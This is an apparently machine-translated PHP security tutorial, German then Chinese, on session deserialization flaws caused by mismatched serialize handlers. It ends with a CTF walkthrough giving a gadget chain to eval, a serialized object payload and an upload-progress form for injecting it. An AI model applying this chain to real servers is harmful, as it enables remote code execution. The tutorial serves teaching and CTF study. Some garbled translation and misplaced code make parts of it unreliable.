Sitzungsdeserialisierungsmechanismus in PHP

Einführung

Es gibt drei Konfigurationselemente in php.ini:

session.save_path=""   --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数，如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start   boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认使用php

Die oben genannten Optionen beziehen sich auf die Sitzungsspeicherung und die Sequenzspeicherung in PHP.

Bei der Installation mit der xampp-Komponente werden die oben genannten Konfigurationselemente wie folgt festgelegt:

session.save_path="D:\xampp\tmp"	表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files	  	表明session是以文件的方式来进行存储的
session.auto_start=0	表明默认不启动session
session.serialize_handler=php	   表明session的默认序列话引擎使用的是php序列话引擎

In der obigen Konfiguration wird session.serialize_handler verwendet, um die Serialisierungs-Engine der Sitzung festzulegen Neben der Standard-PHP-Engine gibt es noch andere Engines, und die den verschiedenen Engines entsprechenden Sitzungen werden auf unterschiedliche Weise gespeichert.

• php_binary: Die Speichermethode besteht aus dem ASCII-Zeichen, das der Länge des Schlüsselnamens + dem Schlüsselnamen + dem durch die Funktion serialize() serialisierten Wert

entspricht

• php: Die Speichermethode ist: Tastenname + vertikaler Balken + Wert, der durch die Funktionssequenz serialize() verarbeitet wird

• php_serialize(php>5.5.4): Der Speicher Methode ist, nach der Serialisierung Der von () verarbeitete Wert verwendet standardmäßig die PHP-Engine in PHP. Wenn Sie sie in eine andere Engine ändern möchten, müssen Sie nur die hinzufügen Code ini_set('session.serialize_handler', 'Engine, die eingestellt werden muss');. Der Beispielcode lautet wie folgt:

Speichermechanismus

Der Inhalt der Sitzung in PHP wird nicht im Speicher, sondern in Form von Dateien gespeichert Die Speichermethode ist Das Konfigurationselement session.save_handler wird zum Bestimmen der Konfiguration verwendet und standardmäßig in einer Datei gespeichert.

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
// do something

Die gespeicherte Datei ist nach sess_sessionid benannt und der Inhalt der Datei ist der Inhalt nach der Sequenz des Sitzungswerts.

Angenommen, dass unsere Umgebung xampp ist, ist die Standardkonfiguration wie oben.

In der Standardkonfiguration:

Die letzte Sitzung wird wie folgt gespeichert und angezeigt:

<?php
session_start()
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump();
?>

Sie können die PHPSESSID sehen Der Wert ist jo86ud4jfvu81mbg28sl2s56c2, und der unter xampp/tmp gespeicherte Dateiname ist sess_jo86ud4jfvu81mbg28sl2s56c2, und der Inhalt der Datei ist name|s:6:"spoock";. name ist der Schlüsselwert, s:6:"spoock"; ist das Ergebnis von serialize("spoock").

Unter der php_serialize-Engine:

Der Inhalt der SESSION-Datei ist a:1:{s:4:"name";s:6:"spoock";}. a:1 wird hinzugefügt, wenn php_serialize für die Serialisierung verwendet wird. Gleichzeitig werden durch die Verwendung von php_serialize sowohl der Schlüssel als auch der Wert in der Sitzung serialisiert.

Unter der php_binary-Engine:

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump();
?>

Der Inhalt der SESSION-Datei lautet namens:6:"spoock";. Da die Länge des Namens 4 beträgt, entspricht 4 EOT in der ASCII-Tabelle. Gemäß den Speicherregeln von php_binary lautet der letzte Name:6:"spoock";. (Plötzlich stellte ich fest, dass Zeichen mit einem ASCII-Wert von 4 nicht auf der Webseite angezeigt werden können. Bitte überprüfen Sie die ASCII-Tabelle selbst.)

Serialisierung ist einfach zu verwenden

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_binary&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump();
?>

test.php

Die eingehenden Parameter werden in Zeile 11 serialisiert. Wir können eine bestimmte Zeichenfolge übergeben, sie in ein Beispiel von Syclover deserialisieren und dann die Methode eval() ausführen. Wir besuchen localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}. Dann lautet der durch Deserialisierung erhaltene Inhalt:

?php
class syclover{
        var $func="";
        function __construct() {
            $this->func = "phpinfo()";
        }
        function __wakeup(){
            eval($this->func);
        }
}
unserialize($_GET['a']);
?>

Die letzte Seitenausgabe ist Spoock, was darauf hinweist, dass die von uns definierte Echo-Methode „Spoock“ endgültig ausgeführt wurde.

Dies ist eine Demonstration einer einfachen Serialisierungsschwachstelle

object(syclover)[1]
  public 'func' => string 'echo "spoock";' (length=14)

Serialisierungsrisiken in PHP Session

Es gibt kein Problem bei der Implementierung von Session in PHP. Die Hauptrisiken werden verursacht durch unsachgemäße Verwendung von Session durch Programmierer.

Wenn sich die von PHP zum Deserialisieren der gespeicherten $_SESSION-Daten verwendete Engine von der für die Serialisierung verwendeten Engine unterscheidet, werden die Daten nicht korrekt deserialisiert. Durch sorgfältig zusammengestellte Datenpakete ist es möglich, die Programmüberprüfung zu umgehen oder einige Systemmethoden auszuführen. Zum Beispiel:

Die oben genannten $_SESSION-Daten verwenden php_serialize, dann ist der endgültig gespeicherte Inhalt a:1:{s:6:"spoock";s:24:"|O:11: " PeopleClass":0:{}";}.

Aber als wir gelesen haben, haben wir PHP ausgewählt, daher lautet der letzte gelesene Inhalt:

$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

Dies liegt daran, dass die PHP-Engine | als Trennzeichen zwischen verwendet Schlüssel und Wert, dann wird a:1:{s:6:"spoock";s:24:" als SESSION-Schlüssel und O:11:"PeopleClass":0:{ } als Wert verwendet und dann deserialisiert , und schließlich erhalten Sie die PeopleClas-Klasse

Die verschiedenen Engines, die für die Serialisierung und Deserialisierung verwendet werden, sind die Gründe für die Sicherheitslücke bei der PHP-Sitzungsserialisierung.

array (size=1)
  'a:1:{s:6:"spoock";s:24:"' =>
    object(__PHP_Incomplete_Class)[1]
      public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

existiert s1.php und us2.php. Die von den beiden Dateien verwendeten SESSION-Engines sind unterschiedlich, was zu einer Sicherheitslücke führt.

s1.php, verwenden Sie php_serialize, um die Sitzung zu verarbeiten us2.php, verwenden Sie PHP, um die Sitzung zu verarbeiten.

Übermitteln Sie beim Zugriff auf s1.php die folgenden Daten:

Die eingehenden Daten werden gemäß php_serialize serialisiert >

Beim Zugriff auf us2.php hat Spoock die von uns erstellte Funktion erfolgreich ausgeführt. Bei Verwendung von PHP deserialisiert das Programm die Daten in SESSION. Zu diesem Zeitpunkt werden die gefälschten Daten deserialisiert Das Zitronenobjekt wird instanziiert und schließlich wird die eval()-Methode im Destruktor ausgeführt >

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION["spoock"]=$_GET["a"];

CTF

在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下：

class.php

<?php
 
highlight_string(file_get_contents(basename($_SERVER[&#39;PHP_SELF&#39;])));
//show_source(__FILE__);
 
class foo1{
        public $varr;
        function __construct(){
                $this->varr = "index.php";
        }
        function __destruct(){
                if(file_exists($this->varr)){
                        echo "<br>文件".$this->varr."存在<br>";
                }
                echo "<br>这是foo1的析构函数<br>";
        }
}
 
class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = &#39;1234567890&#39;;
                $this->obj = null;
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
        function __desctuct(){
                echo "<br>这是foo2的析构函数<br>";
        }
}
 
class foo3{
        public $varr;
        function execute(){
                eval($this->varr);
        }
        function __desctuct(){
                echo "<br>这是foo3的析构函数<br>";
        }
}
 
?>

index.php

<?php
 
ini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);
 
require("./class.php");
 
session_start();
 
$obj = new foo1();
 
$obj->varr = "phpinfo.php";
 
?>

通过代码发现，我们最终是要通过foo3中的execute来执行我们自定义的函数。

那么我们首先在本地搭建环境，构造我们需要执行的自定义的函数。如下：

myindex.php

<?php
class foo3{
        public $varr=&#39;echo "spoock";&#39;;
        function execute(){
                eval($this->varr);
        }
}
class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = &#39;1234567890&#39;;
                $this->obj = new foo3();
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
}
 
class foo1{
        public $varr;
        function __construct(){
                $this->varr = new foo2();
        }
}
 
 
$obj = new foo1();
print_r(serialize($obj));
?>

在foo1中的构造函数中定义$varr的值为foo2的实例，在foo2中定义$obj为foo3的实例，在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}

这样当上面的序列话的值写入到服务器端，然后再访问服务器的index.php，最终就会执行我们预先定义的echo "spoock";的方法了。

写入的方式主要是利用PHP中Session Upload Progress来进行设置，具体为，在上传文件时，如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量，就可以将filename的值赋值到session中，上传的页面的写法如下：

<form action="index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

最后就会将文件名写入到session中，具体的实现细节可以参考PHP手册。

那么最终写入的文件名是|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:12:"var_dump(1);";}}}。注意与本地反序列化不一样的地方是要在最前方加上|

但是我在进行本地测试的时候，发现无法实现安恒这道题目所实现的效果，但是最终的原理是一样的。

总结

通过对PHP中的SESSION的分析，对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识，也有助于程序员加强在PHP中的SESSION机制的理解。

以上就是PHP 中 Session 反序列化机制的内容，更多相关内容请关注PHP中文网（www.php.cn）！